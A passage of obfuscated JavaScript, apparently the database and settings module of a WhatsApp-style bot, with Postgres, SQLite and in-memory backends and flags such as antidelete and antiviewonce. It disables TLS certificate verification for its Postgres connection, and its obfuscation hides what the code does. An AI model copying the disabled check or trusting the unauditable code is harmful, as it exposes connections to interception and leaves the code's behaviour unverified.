_0x5a830e=_mem[_0xd4b345(0x3db)][_0xd4b345(0x2a7)]()[_0xd4b345(0x322)]()[_0xd4b345(0x363)];_mem[_0xd4b345(0x3db)][_0xd4b345(0xbf)](_0x5a830e);}return;}if(_0x4d8726[_0xd4b345(0x15f)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])&&_0x4d8726[_0xd4b345(0x386)](_0x375709[_0xd4b345(0x3a7)],-0x5*-0x6d9+-0x3a1*0x7+-0x1c4*0x5)){_mem[_0xd4b345(0x3db)][_0xd4b345(0xbf)](_0x375709[-0x26ee+0x1*-0x2704+0x4df2]);return;}if(_0x4d8726[_0xd4b345(0x1a3)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x26b)])){const _0x4320c3=_0x375709[0x97*-0xb+-0x2*0xc6d+0x1f57];for(const [_0x109794,_0x33476f]of _mem[_0xd4b345(0x3db)]){if(_0x4d8726[_0xd4b345(0x26f)](_0x33476f[_0xd4b345(0x220)]||-0x562+-0x1*0x1914+0x1e76,_0x4320c3))_mem[_0xd4b345(0x3db)][_0xd4b345(0xbf)](_0x109794);}return;}}if(_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x2cc)])){if(_0x4d8726[_0xd4b345(0x2e4)](_0x17504d,_0x4d8726[_0xd4b345(0x234)]))return _mem[_0xd4b345(0x3c9)][_0xd4b345(0x25e)](_0x375709[0x20d2*0x1+-0x2215+0x143])?{'phone':_mem[_0xd4b345(0x3c9)][_0xd4b345(0x25e)](_0x375709[0xb46+-0x1*-0xb32+-0x1678])}:null;if(_0x4d8726[_0xd4b345(0x344)](_0x17504d,_0x4d8726[_0xd4b345(0xfd)])&&_0x53cb19[_0xd4b345(0x34d)](_0x4d8726[_0xd4b345(0x388)])){_mem[_0xd4b345(0x3c9)][_0xd4b345(0x2f6)](_0x375709[-0x292*0x1+-0x73b*-0x3+-0x131f],_0x375709[-0x16e6+0x1cbc+0x1*-0x5d5]);if(_0x4d8726[_0xd4b345(0xd6)](_mem[_0xd4b345(0x3c9)][_0xd4b345(0x1d3)],0x16e3+-0x52*0x3+-0x13f9)){const _0x341f3b=_mem[_0xd4b345(0x3c9)][_0xd4b345(0x2a7)]()[_0xd4b345(0x322)]()[_0xd4b345(0x363)];_mem[_0xd4b345(0x3c9)][_0xd4b345(0xbf)](_0x341f3b);}return;}}return _0x4d8726[_0xd4b345(0x2a8)](_0x17504d,_0x4d8726[_0xd4b345(0x154)])?[]:null;}let _backend=null,_db=null,_pg=null,_ready=null;const cache={'settings':{'data':null,'time':0x0,'ttl':0x7530},'sudoUsers':{'data':null,'time':0x0,'ttl':0xea60},'bannedUsers':{'data':null,'time':0x0,'ttl':0xea60},'groupSettings':new Map()},GS_TTL=0x3146+-0x120d3+-0x1d9ed*-0x1;function isCacheValid(_0xf54065){const _0x594f92=_0x598bbe,_0x581d79={'dNDJU':function(_0x3a415a,_0x5b7854){return _0x3a415a!==_0x5b7854;},'yHrtl':function(_0x217e0f,_0x5dc286){return _0x217e0f<_0x5dc286;},'PzaKG':function(_0x34c387,_0x1a812e){return _0x34c387-_0x1a812e;}};return _0x581d79[_0x594f92(0x218)](_0xf54065[_0x594f92(0x231)],null)&&_0x581d79[_0x594f92(0x2a1)](_0x581d79[_0x594f92(0xbd)](Date[_0x594f92(0x369)](),_0xf54065[_0x594f92(0x17e)]),_0xf54065[_0x594f92(0x2e3)]);}const _settingsListeners=[],_sudoListeners=[],_bannedListeners=[];function registerSettingsListener(_0x3b2e27){const _0x26fdae=_0x598bbe;_settingsListeners[_0x26fdae(0x327)](_0x3b2e27);}function registerSudoListener(_0x4e593d){const _0x304e27=_0x598bbe;_sudoListeners[_0x304e27(0x327)](_0x4e593d);}function registerBannedListener(_0x5d5787){const _0x9806bf=_0x598bbe;_bannedListeners[_0x9806bf(0x327)](_0x5d5787);}function _notify(_0x4c3f44){const _0x2134cc=_0x598bbe,_0x4fefc5={'ikQtW':function(_0xe38842){return _0xe38842();}};_0x4c3f44[_0x2134cc(0x26e)](_0x886359=>{const _0x3287fa=_0x2134cc;try{_0x4fefc5[_0x3287fa(0x3d9)](_0x886359);}catch{}});}function getBackend(){return _backend;}const SQLITE_SCHEMA=_0x598bbe(0x3bb)+_0x598bbe(0x2c4)+_0x598bbe(0x339)+_0x598bbe(0x345)+_0x598bbe(0x333)+_0x598bbe(0xb3)+_0x598bbe(0x293)+_0x598bbe(0x28c)+_0x598bbe(0x330)+_0x598bbe(0x2c0)+_0x598bbe(0x110)+_0x598bbe(0xf9)+_0x598bbe(0x278)+_0x598bbe(0x244)+_0x598bbe(0x372)+_0x598bbe(0x292)+_0x598bbe(0x131)+_0x598bbe(0x2f7)+_0x598bbe(0x203)+_0x598bbe(0x2d7)+_0x598bbe(0x1c5)+_0x598bbe(0x2d2)+_0x598bbe(0x2d7)+_0x598bbe(0x3d3)+_0x598bbe(0x27c)+_0x598bbe(0x392)+_0x598bbe(0x2ce)+_0x598bbe(0x287)+_0x598bbe(0x265)+_0x598bbe(0x2ce)+_0x598bbe(0xd7)+_0x598bbe(0x2dd)+_0x598bbe(0x21e)+_0x598bbe(0x118)+_0x598bbe(0x1b4)+_0x598bbe(0x185)+_0x598bbe(0x13a)+_0x598bbe(0x202)+_0x598bbe(0x2a0)+_0x598bbe(0x36c)+_0x598bbe(0x175)+_0x598bbe(0x2c6)+_0x598bbe(0x355)+_0x598bbe(0x1fd)+_0x598bbe(0xd9)+_0x598bbe(0x35d)+_0x598bbe(0xc8)+_0x598bbe(0xcd)+_0x598bbe(0x2ab)+_0x598bbe(0x1a2)+_0x598bbe(0x2d3)+_0x598bbe(0x19c)+_0x598bbe(0x1a2)+_0x598bbe(0x29a)+_0x598bbe(0x30e)+_0x598bbe(0xf6)+_0x598bbe(0x2ce)+_0x598bbe(0x2b8)+_0x598bbe(0x188)+_0x598bbe(0x2f4)+_0x598bbe(0xe4)+_0x598bbe(0x3b5)+_0x598bbe(0x399)+_0x598bbe(0x3ba)+_0x598bbe(0x171)+_0x598bbe(0x30f)+_0x598bbe(0x3b9)+_0x598bbe(0xfa)+_0x598bbe(0xd2)+_0x598bbe(0x330)+_0x598bbe(0x29d)+_0x598bbe(0x330)+_0x598bbe(0x39a)+_0x598bbe(0x14a)+_0x598bbe(0xe6)+_0x598bbe(0x1c6)+_0x598bbe(0x3b3)+_0x598bbe(0x364)+_0x598bbe(0x34e)+_0x598bbe(0x26c)+_0x598bbe(0xb9)+_0x598bbe(0x3c6)+_0x598bbe(0x110)+_0x598bbe(0xf9)+_0x598bbe(0x278)+_0x598bbe(0x120)+_0x598bbe(0x21d)+_0x598bbe(0x3ce)+_0x598bbe(0x336)+_0x598bbe(0x3ad)+_0x598bbe(0x16b)+_0x598bbe(0x33d)+_0x598bbe(0x3b8)+_0x598bbe(0x21d)+_0x598bbe(0x3ce)+_0x598bbe(0x336)+_0x598bbe(0x3ad)+_0x598bbe(0x16b)+_0x598bbe(0x34b)+_0x598bbe(0x23d)+(_0x598bbe(0x107)+_0x598bbe(0x30d)+_0x598bbe(0x25f)+_0x598bbe(0xae)+_0x598bbe(0x38d)+_0x598bbe(0x365)+_0x598bbe(0x34a)+_0x598bbe(0x2e0)+_0x598bbe(0x300)+_0x598bbe(0x1ed)+_0x598bbe(0x3a0)+_0x598bbe(0x379)+_0x598bbe(0x1a2)+_0x598bbe(0x28f)+_0x598bbe(0x1e0)+_0x598bbe(0x177)+_0x598bbe(0x3cc)+_0x598bbe(0x160)+_0x598bbe(0x375)+_0x598bbe(0x3d7)+_0x598bbe(0x2c9)+_0x598bbe(0x325)+_0x598bbe(0x11d)+_0x598bbe(0xdd)+_0x598bbe(0x11a)+_0x598bbe(0x13d)+_0x598bbe(0x121)+_0x598bbe(0x157)+_0x598bbe(0x13c)+_0x598bbe(0x108)+_0x598bbe(0x268)+_0x598bbe(0x370)+_0x598bbe(0x1ea)+_0x598bbe(0x191)+_0x598bbe(0x19e)+_0x598bbe(0x3c6)+_0x598bbe(0x110)+_0x598bbe(0xf9)+_0x598bbe(0x278)+_0x598bbe(0x12c)+_0x598bbe(0x276)+_0x598bbe(0x3b9)+_0x598bbe(0x209)+_0x598bbe(0xc9)+_0x598bbe(0xfe)+_0x598bbe(0x1e2)+_0x598bbe(0xca)+_0x598bbe(0x159)+_0x598bbe(0x3b0)+_0x598bbe(0x20b)+_0x598bbe(0x19f)+_0x598bbe(0x288)+_0x598bbe(0x3c4)+_0x598bbe(0x385)+_0x598bbe(0x2b5)+_0x598bbe(0x134)+_0x598bbe(0x1dc)+_0x598bbe(0x2b3)+_0x598bbe(0x3cc)+_0x598bbe(0x270)+_0x598bbe(0x375)+_0x598bbe(0x30b)+_0x598bbe(0x176)+_0x598bbe(0x269)+_0x598bbe(0x1d0)),PG_SCHEMA=[_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x141)+_0x598bbe(0x2d4)+_0x598bbe(0x131)+_0x598bbe(0x2e5)+_0x598bbe(0x280)+_0x598bbe(0x24e)+_0x598bbe(0x18d),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x2d0)+_0x598bbe(0x10c)+_0x598bbe(0x238)+_0x598bbe(0x1f7)+_0x598bbe(0xb3)+_0x598bbe(0x263)+_0x598bbe(0x34c)+_0x598bbe(0x21e)+_0x598bbe(0x391)+_0x598bbe(0x24a)+_0x598bbe(0x21e)+_0x598bbe(0x118)+_0x598bbe(0x13f)+_0x598bbe(0xba)+_0x598bbe(0x21f)+_0x598bbe(0x380)+_0x598bbe(0x210)+_0x598bbe(0x21f)+_0x598bbe(0x206)+_0x598bbe(0xab)+_0x598bbe(0x155)+_0x598bbe(0x229)+_0x598bbe(0x14f)+_0x598bbe(0x1e5)+_0x598bbe(0x368)+_0x598bbe(0x246)+_0x598bbe(0xb2)+_0x598bbe(0x309)+_0x598bbe(0x31c)+_0x598bbe(0xe0)+_0x598bbe(0xc8)+_0x598bbe(0x272)+_0x598bbe(0x1fe)+_0x598bbe(0xb6)+_0x598bbe(0x1a2)+_0x598bbe(0x312)+_0x598bbe(0x187)+_0x598bbe(0x33e)+_0x598bbe(0x164)+_0x598bbe(0x182)+_0x598bbe(0x35b)+_0x598bbe(0x117)+_0x598bbe(0x172)+_0x598bbe(0x1bc)+_0x598bbe(0x21f)+_0x598bbe(0x33a),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x23f)+_0x598bbe(0x1bd)+_0x598bbe(0x299)+_0x598bbe(0xd9)+_0x598bbe(0x1c4)+_0x598bbe(0x3b9)+_0x598bbe(0x39f)+_0x598bbe(0x11a)+_0x598bbe(0x222)+_0x598bbe(0x11a)+_0x598bbe(0x3aa)+_0x598bbe(0x37f)+_0x598bbe(0x20e)+_0x598bbe(0x16e)+_0x598bbe(0x101)+_0x598bbe(0x32e)+_0x598bbe(0x361)+_0x598bbe(0x350)+_0x598bbe(0x3ab)+_0x598bbe(0x390)+')',_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x329)+_0x598bbe(0x2ef)+_0x598bbe(0x3c2)+_0x598bbe(0x281),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x240)+_0x598bbe(0x3a4)+_0x598bbe(0x226)+_0x598bbe(0x3b9)+'Y)',_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x27a)+_0x598bbe(0x2aa)+_0x598bbe(0x21d)+_0x598bbe(0x3ce)+_0x598bbe(0x230),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0xde)+_0x598bbe(0x128)+_0x598bbe(0x31f)+_0x598bbe(0x143)+_0x598bbe(0x321)+_0x598bbe(0x3a0)+_0x598bbe(0x379)+_0x598bbe(0x1a2)+_0x598bbe(0x28f)+_0x598bbe(0x1e0)+_0x598bbe(0x398),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0xaa)+_0x598bbe(0x394)+_0x598bbe(0x171)+_0x598bbe(0x31f)+_0x598bbe(0x1bf)+_0x598bbe(0x330)+_0x598bbe(0xeb)+_0x598bbe(0xef)+_0x598bbe(0x12f)+_0x598bbe(0x11a)+_0x598bbe(0x3aa)+_0x598bbe(0x1db)+_0x598bbe(0x316)+_0x598bbe(0x181)+_0x598bbe(0x152)+_0x598bbe(0xcb)+_0x598bbe(0x33a),_0x598bbe(0x10b)+_0x598bbe(0x216)+_0x598bbe(0x2ea)+_0x598bbe(0x3dc)+_0x598bbe(0x2b7)+_0x598bbe(0x298)+_0x598bbe(0x314)+_0x598bbe(0x1a9),_0x598bbe(0x1da)+_0x598bbe(0x2ff)+_0x598bbe(0x204)+_0x598bbe(0xe7)+_0x598bbe(0x396)+_0x598bbe(0x3be)+_0x598bbe(0x102),_0x598bbe(0x1da)+_0x598bbe(0x2ff)+_0x598bbe(0x204)+_0x598bbe(0x21b)+_0x598bbe(0x37c)+_0x598bbe(0x1ae)];function initSqlite(){const _0x22cb44=_0x598bbe,_0x284aff={'EDPeJ':_0x22cb44(0x2fb)+_0x22cb44(0x1b0)+'|9','neSKo':_0x22cb44(0x35a)+_0x22cb44(0x250),'LFbZo':_0x22cb44(0x189)+_0x22cb44(0x219),'Nlpfi':_0x22cb44(0x20c)+_0x22cb44(0x17a)+_0x22cb44(0x395)+_0x22cb44(0x3c1)+_0x22cb44(0x17c)+_0x22cb44(0x2d7)+_0x22cb44(0xb0),'UlUyK':_0x22cb44(0x255)+_0x22cb44(0x2ca),'YPUHo':_0x22cb44(0x1a4),'njbfF':_0x22cb44(0x25a)+_0x22cb44(0x1f3),'ZCOJc':_0x22cb44(0x32c)+_0x22cb44(0x29c),'irdLh':_0x22cb44(0x2e9)+_0x22cb44(0x16d),'ELBdi':_0x22cb44(0x109)+_0x22cb44(0x291)+'6'},_0x39d605=_0x284aff[_0x22cb44(0x214)][_0x22cb44(0x274)]('|');let _0x46f531=0xb*-0x2ef+0x1848+0x7fd*0x1;while(!![]){switch(_0x39d605[_0x46f531++]){case'0':_db[_0x22cb44(0x221)](SQLITE_SCHEMA);continue;case'1':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0xe8)]);continue;case'2':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0x1b2)]);continue;case'3':try{_db[_0x22cb44(0x377)](_0x284aff[_0x22cb44(0x212)])[_0x22cb44(0x158)]();}catch{}continue;case'4':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0xdc)]);continue;case'5':_backend=_0x284aff[_0x22cb44(0x2f3)];continue;case'6':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0x1d6)]);continue;case'7':_db=new Database(_0x2e67ef[_0x22cb44(0x262)](_0x284aff[_0x22cb44(0xdf)]));continue;case'8':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0x2df)]);continue;case'9':console[_0x22cb44(0x2c1)](_0x22cb44(0x2a4)+_0x22cb44(0xad)+'('+_sqliteDriver+')');continue;case'10':_db[_0x22cb44(0x124)](_0x284aff[_0x22cb44(0x2c5)]);continue;}break;}}async function tryInitPg(){const _0x4bbb1f=_0x598bbe,_0x3fe19c={'DTobX':_0x4bbb1f(0x1ab)+_0x4bbb1f(0x201),'AkIAM':_0x4bbb1f(0xbe),'fzKnE':_0x4bbb1f(0x1ac),'BMJoQ':function(_0x17fc69,_0x499055,_0x1b0d20){return _0x17fc69(_0x499055,_0x1b0d20);},'moPcY':function(_0x452f88,_0x272b2d){return _0x452f88*_0x272b2d;},'RQbGA':_0x4bbb1f(0x2a4)+_0x4bbb1f(0x103)+_0x4bbb1f(0x2b4)};try{const _0x550d12=new Pool({'connectionString':process.env.DATABASE_URL,'ssl':{'rejectUnauthorized':![]},'connectionTimeoutMillis':0x2710,'idleTimeoutMillis':0x493e0,'max':0x5,'min':0x1,'allowExitOnIdle':![],'keepAlive':!![],'keepAliveInitialDelayMillis':0x2710});_0x550d12['on'](_0x3fe19c[_0x4bbb1f(0x3b4)],_0xd3f6d3=>{const _0x193961=_0x4bbb1f;console[_0x193961(0x2c1)](_0x3fe19c[_0x193961(0x2ad)],_0xd3f6d3[_0x193961(0x271)]);}),await Promise[_0x4bbb1f(0xe1)]([_0x550d12[_0x4bbb1f(0x10e)](_0x3fe19c[_0x4bbb1f(0x3a6)]),new Promise((_0x3dc693,_0x16b7ef)=>setTimeout(()=>_0x16b7ef(new Error(_0x4bbb1f(0x260)+_0x4bbb1f(0x3a9))),0x7d49*0x1+0x1dda+-0x4d03))]);for(const _0x25e46c of PG_SCHEMA){try{await _0x550d12[_0x4bbb1f(0x10e)](_0x25e46c);}catch{}}const _0x10db6a=[_0x4bbb1f(0x20c)+_0x4bbb1f(0x17a)+_0x4bbb1f(0x395)+_0x4bbb1f(0x38a)+_0x4bbb1f(0x2b5)+_0x4bbb1f(0x328)+_0x4bbb1f(0x256)+_0x4bbb1f(0x155)+'0'];for(const _0x3f7ecf of _0x10db6a){try{await _0x550d12[_0x4bbb1f(0x10e)](_0x3f7ecf);}catch{}}return _0x3fe19c[_0x4bbb1f(0x2cd)](setInterval,()=>{const _0x33de13=_0x4bbb1f;_0x550d12[_0x33de13(0x10e)](_0x3fe19c[_0x33de13(0x3a6)])[_0x33de13(0x3d5)](()=>{});},_0x3fe19c[_0x4bbb1f(0x104)](_0x3fe19c[_0x4bbb1f(0x104)](0x121c+0x9*-0x25+-0x10cc,-0x1509+0x1017*-0x1+0x255c),0x1*-0x143b+0x1*-0xb2+-0xa3*-0x27)),_pg=_0x550d12,_backend='pg',console[_0x4bbb1f(0x2c1)](_0x3fe19c[_0x4bbb1f(0x113)]),!![];}catch(_0x33303b){return console[_0x4bbb1f(0x2c1)](_0x4bbb1f(0x2fd)+_0x4bbb1f(0x303)+_0x4bbb1f(0x397)+'('+_0x33303b[_0x4bbb1f(0x271)]+(_0x4bbb1f(0x1ca)+_0x4bbb1f(0x13e))),![];}}_ready=((async()=>{const _0x5369c5=_0x598bbe,_0x325825={'mfJcH':function(_0x500978){return _0x500978();},'rVhgl':function(_0x3ecdcb){return _0x3ecdcb();},'Ineke':_0x5369c5(0xf8)+_0x5369c5(0x282)+_0x5369c5(0x14d)+_0x5369c5(0x116)+_0x5369c5(0x15c)+_0x5369c5(0x169)+_0x5369c5(0x26a),'YsOfj':function(_0x1331ed){return _0x1331ed();},'uOTbq':function(_0x406220){return _0x406220();}};if(process.env.DATABASE_URL){const _0x8dc03e=await _0x325825[_0x5369c5(0x2d9)](tryInitPg);if(!_0x8dc03e){if(Database)_0x325825[_0x5369c5(0x149)](initSqlite);else _0x325825[_0x5369c5(0x149)](initMemory);}}else{if(Database)_0x325825[_0x5369c5(0x2d9)](initSqlite);else{console[_0x5369c5(0x2c1)](_0x325825[_0x5369c5(0x248)]);const _0x3174df=await _0x325825[_0x5369c5(0x197)](tryInitPg);if(!_0x3174df)_0x325825[_0x5369c5(0xd3)](initMemory);}}})());async function ensureReady(){await _ready;}async function qAll(_0x34d2ff,_0x5b34a1,_0x16a338=[]){const _0x2403f8=_0x598bbe,_0x591503={'BgEhN':function(_0x50f555){return _0x50f555();},'KTGnx':function(_0x5ec545,_0x4ccd7b){return _0x5ec545===_0x4ccd7b;},'LRMYH':_0x2403f8(0xac),'OPyKB':function(_0x2ee830,_0xd74678,_0x11d6d2,_0x3cdd65){return _0x2ee830(_0xd74678,_0x11d6d2,_0x3cdd65);},'RqwpT':_0x2403f8(0x29f)};await _0x591503[_0x2403f8(0x27d)](ensureReady);if(_0x591503[_0x2403f8(0x22a)](_backend,'pg'))return(await _pg[_0x2403f8(0x10e)](_0x5b34a1,_0x16a338))[_0x2403f8(0x18e)];if(_0x591503[_0x2403f8(0x22a)](_backend,_0x591503[_0x2403f8(0x2c2)]))return _0x591503[_0x2403f8(0x2fe)](_memOp,_0x591503[_0x2403f8(0x213)],_0x34d2ff,_0x16a338)||[];return _db[_0x2403f8(0x377)](_0x34d2ff)[_0x2403f8(0x29f)](..._0x16a338);}async function qGet(_0x4a402d,_0x204239,_0x3a77bf=[]){const _0x2b6fc6=_0x598bbe,_0x23d98d={'ChyRi':function(_0x16cc7c){return _0x16cc7c();},'EIUxy':function(_0x5eeee3,_0x393034){return _0x5eeee3===_0x393034;},'yIJBf':_0x2b6fc6(0xac),'dWaST':function(_0x35cc0b,_0x5eb2c3,_0x501b6c,_0xbda3ca){return _0x35cc0b(_0x5eb2c3,_0x501b6c,_0xbda3ca);},'skSjq':_0x2b6fc6(0x25e)};await _0x23d98d[_0x2b6fc6(0x2c8)](ensureReady);if(_0x23d98d[_0x2b6fc6(0x132)](_backend,'pg'))return(await _pg[_0x2b6fc6(0x10e)](_0x204239,_0x3a77bf))[_0x2b6fc6(0x18e)][0x1734+-0x1f25+0x7f1]||null;if(_0x23d98d[_0x2b6fc6(0x132)](_backend,_0x23d98d[_0x2b6fc6(0x1c0)]))return _0x23d98d[_0x2b6fc6(0x1d4)](_memOp,_0x23d98d[_0x2b6fc6(0xc2)],_0x4a402d,_0x3a77bf)||null;return _db[_0x2b6fc6(0x377)](_0x4a402d)[_0x2b6fc6(0x25e)](..._0x3a77bf)||null;}async function qRun(_0x3e7e40,_0x1c2c7a,_0x33393d=[]){const _0x45e054=_0x598bbe,_0x34d8f7={'SzIuE':function(_0x4d2d2d){return _0x4d2d2d();},'vYtjw':function(_0x884e43,_0x1d2a68){return _0x884e43===_0x1d2a68;},'KSvLb':_0x45e054(0xac),'VMwVS':function(_0x51559b,_0x51e7c0,_0x744839,_0x23a4d8){return _0x51559b(_0x51e7c0,_0x744839,_0x23a4d8);},'BjIxe':_0x45e054(0x158)};await _0x34d8f7[_0x45e054(0x24d)](ensureReady);if(_0x34d8f7[_0x45e054(0x137)](_backend,'pg')){await _pg[_0x45e054(0x10e)](_0x1c2c7a,_0x33393d);return;}if(_0x34d8f7[_0x45e054(0x137)](_backend,_0x34d8f7[_0x45e054(0x36b)])){_0x34d8f7[_0x45e054(0x22f)](_memOp,_0x34d8f7[_0x45e054(0x3cd)],_0x3e7e40,_0x33393d);return;}_db[_0x45e054(0x377)](_0x3e7e40)[_0x45e054(0x158)](..._0x33393d);}async function initializeDatabase(){const _0xd713a0=_0x598bbe,_0x3c9049={'bfTxe':function(_0x3e1b55){return _0x3e1b55();}};await _0x3c9049[_0xd713a0(0x1d9)](ensureReady);}async function getSettings(){const _0x5841e2=_0x598bbe,_0x4def5b={'YTtAn':function(_0x320d6a,_0x2c1387){return _0x320d6a(_0x2c1387);},'UpaqH':function(_0x1f110b,_0x312ccd,_0x39ce48){return _0x1f110b(_0x312ccd,_0x39ce48);},'hQqjb':_0x5841e2(0x3ae)+_0x5841e2(0x38b)+_0x5841e2(0x352)+'s','CdzQg':_0x5841e2(0x1d1),'hVDto':_0x5841e2(0x1b3)};if(_0x4def5b[_0x5841e2(0x33c)](isCacheValid,cache[_0x5841e2(0x2bb)]))return cache[_0x5841e2(0x2bb)][_0x5841e2(0x231)];const _0x4d56fc=await _0x4def5b[_0x5841e2(0xdb)](qAll,_0x4def5b[_0x5841e2(0x2f0)],_0x4def5b[_0x5841e2(0x2f0)]),_0x5e077f={'prefix':'.','mode':_0x4def5b[_0x5841e2(0x1d8)],'botname':_0x4def5b[_0x5841e2(0x273)],'startmessage':!![],'chatbotpm':![],'autoview':!![],'autoread':![],'antidelete':![],'stealth':![],'autoai':![],'frediagent':![],'anticall':![],'antiviewonce':![]},_0x1c384f={..._0x5e077f};for(const _0x18f02c of _0x4d56fc){try{_0x1c384f[_0x18f02c[_0x5841e2(0x341)]]=JSON[_0x5841e2(0x114)](_0x18f02c[_0x5841e2(0x363)]);}catch{_0x1c384f[_0x18f02c[_0x5841e2(0x341)]]=_0x18f02c[_0x5841e2(0x363)];}}return cache[_0x5841e2(0x2bb)][_0x5841e2(0x231)]=_0x1c384f,cache[_0x5841e2(0x2bb)][_0x5841e2(0x17e)]=Date[_0x5841e2(0x369)](),_0x1c384f;}async function updateSetting(_0x560ea3,_0x40d0bb){const _0x51ebea=_0x598bbe,_0x6c1ebd={'LsGtr':function(_0x4d7eb9,_0x4bc572,_0x22d979,_0x324455){return _0x4d7eb9(_0x4bc572,_0x22d979,_0x324455);},'EFUHg':_0x51ebea(0x17f)+_0x51ebea(0x1dd)+_0x51ebea(0x393)+_0x51ebea(0x112)+_0x51ebea(0x223)+_0x51ebea(0x1f4),'jbWbs':_0x51ebea(0x29e)+_0x51ebea(0x257)+_0x51ebea(0x142)+_0x51ebea(0x11b)+_0x51ebea(0x17b)+_0x51ebea(0x2fa)+_0x51ebea(0x173)+_0x51ebea(0x366)+_0x51ebea(0x326)+'$2','OGNIy':function(_0x4d411e,_0x571e23){return _0x4d411e(_0x571e23);}},_0x20c0a5=JSON[_0x51ebea(0x235)](_0x40d0bb);await _0x6c1ebd[_0x51ebea(0x261)](qRun,_0x6c1ebd[_0x51ebea(0x115)],_0x6c1ebd[_0x51ebea(0x28b)],[_0x560ea3,_0x20c0a5]),cache[_0x51ebea(0x2bb)][_0x51ebea(0x231)]=null,_0x6c1ebd[_0x51ebea(0xaf)](_notify,_settingsListeners);}async function getGroupSettings(_0x16a058){const _0x2e364e=_0x598bbe,_0x4d019b={'FMFHm':function(_0x1eef78,_0x6c21f6){return _0x1eef78<_0x6c21f6;},'FLoOr':function(_0x48bfab,_0x3ad0b6){return _0x48bfab-_0x3ad0b6;},'cGHUA':function(_0x5ee927,_0x2ccd3d,_0x4c427e,_0x59d0ca){return _0x5ee927(_0x2ccd3d,_0x4c427e,_0x59d0ca);},'uaSJs':_0x2e364e(0x27f)+_0x2e364e(0x2a6)+_0x2e364e(0x2da)+_0x2e364e(0x29b)+'\x20?','EwQZz':_0x2e364e(0x27f)+_0x2e364e(0x2a6)+_0x2e364e(0x2da)+_0x2e364e(0x29b)+_0x2e364e(0x351),'pIjaC':_0x2e364e(0x11f)},_0x2d1e41=cache[_0x2e364e(0x22d)+_0x2e364e(0x3b1)][_0x2e364e(0x25e)](_0x16a058);if(_0x2d1e41&&_0x4d019b[_0x2e364e(0x1a1)](_0x4d019b[_0x2e364e(0x1c7)](Date[_0x2e364e(0x369)](),_0x2d1e41[_0x2e364e(0x17e)]),GS_TTL))return _0x2d1e41[_0x2e364e(0x231)];const _0x534e34=await _0x4d019b[_0x2e364e(0xbc)](qGet,_0x4d019b[_0x2e364e(0x15d)],_0x4d019b[_0x2e364e(0x1f2)],[_0x16a058]),_0x2052b8=_0x534e34?{'antidelete':!!_0x534e34[_0x2e364e(0x193)],'gcpresence':!!_0x534e34[_0x2e364e(0x1ce)],'events':!!_0x534e34[_0x2e364e(0x315)],'antidemote':!!_0x534e34[_0x2e364e(0x130)],'antipromote':!!_0x534e34[_0x2e364e(0x23a)+'e'],'antilink':_0x534e34[_0x2e364e(0x347)]||_0x4d019b[_0x2e364e(0x1a5)],'antistatusmention':_0x534e34[_0x2e364e(0x205)+_0x2e364e(0x286)]||_0x4d019b[_0x2e364e(0x1a5)],'antitag':!!_0x534e34[_0x2e364e(0x15e)],'welcome':!!_0x534e34[_0x2e364e(0x2f2)],'goodbye':!!_0x534e34[_0x2e364e(0x2e6)],'warn_limit':_0x534e34[_0x2e364e(0x1e9)]||-0xe8a*-0x1+0x1*-0xd+-0x6d*0x22,'antiforeign':!!_0x534e34[_0x2e364e(0x2cb)+'n']}:{'antidelete':!![],'gcpresence':![],'events':![],'antidemote':![],'antipromote':![],'antilink':_0x4d019b[_0x2e364e(0x1a5)],'antistatusmention':_0x4d019b[_0x2e364e(0x1a5)],'antitag':![],'welcome':![],'goodbye':![],'warn_limit':0x3,'antiforeign':![]};return cache[_0x2e364e(0x22d)+_0x2e364e(0x3b1)][_0x2e364e(0x2f6)](_0x16a058,{'data':_0x2052b8,'time':Date[_0x2e364e(0x369)]()}),_0x2052b8;}async function updateGroupSetting(_0x3c6a30,_0xeb9d45,_0x5ef044){const _0x4ad4ec=_0x598bbe,_0x5ea09e={'btRKy':function(_0x445d6f){return _0x445d6f();},'hZOFD':function(_0x30b457,_0x1060a6){return _0x30b457===_0x1060a6;},'DIZZl':_0x4ad4ec(0xce),'GpBCa':_0x4ad4ec(0x168),'KLhtK':_0x4ad4ec(0x29e)+_0x4ad4ec(0x2b2)+_0x4ad4ec(0x319)+_0x4ad4ec(0x1f6)+_0x4ad4ec(0xb5)+_0x4ad4ec(0x258)+_0x4ad4ec(0x1b5)+_0x4ad4ec(0x37a),'ntTZk':function(_0x5c658c,_0x28ef97){return _0x5c658c===_0x28ef97;},'bRvJJ':_0x4ad4ec(0xac),'miKBC':_0x4ad4ec(0x11f),'fJXSi':_0x4ad4ec(0x17f)+_0x4ad4ec(0x198)+_0x4ad4ec(0x2b2)+_0x4ad4ec(0x319)+_0x4ad4ec(0x1f6)+_0x4ad4ec(0x3da)};await _0x5ea09e[_0x4ad4ec(0x259)](ensureReady);const _0x411ded=_0x5ea09e[_0x4ad4ec(0xa7)](_0x5ef044,!![])||_0x5ea09e[_0x4ad4ec(0xa7)](_0x5ef044,_0x5ea09e[_0x4ad4ec(0x24c)])?0x201d*-0x1+0x7*0x75+0xb*0x2a1:_0x5ea09e[_0x4ad4ec(0xa7)](_0x5ef044,![])||_0x5ea09e[_0x4ad4ec(0xa7)](_0x5ef044,_0x5ea09e[_0x4ad4ec(0x2a3)])?0xa9e+0x7*-0x1e0+0x282:_0x5ef044;if(_0x5ea09e[_0x4ad4ec(0xa7)](_backend,'pg'))await _pg[_0x4ad4ec(0x10e)](_0x5ea09e[_0x4ad4ec(0x239)],[_0x3c6a30]),await 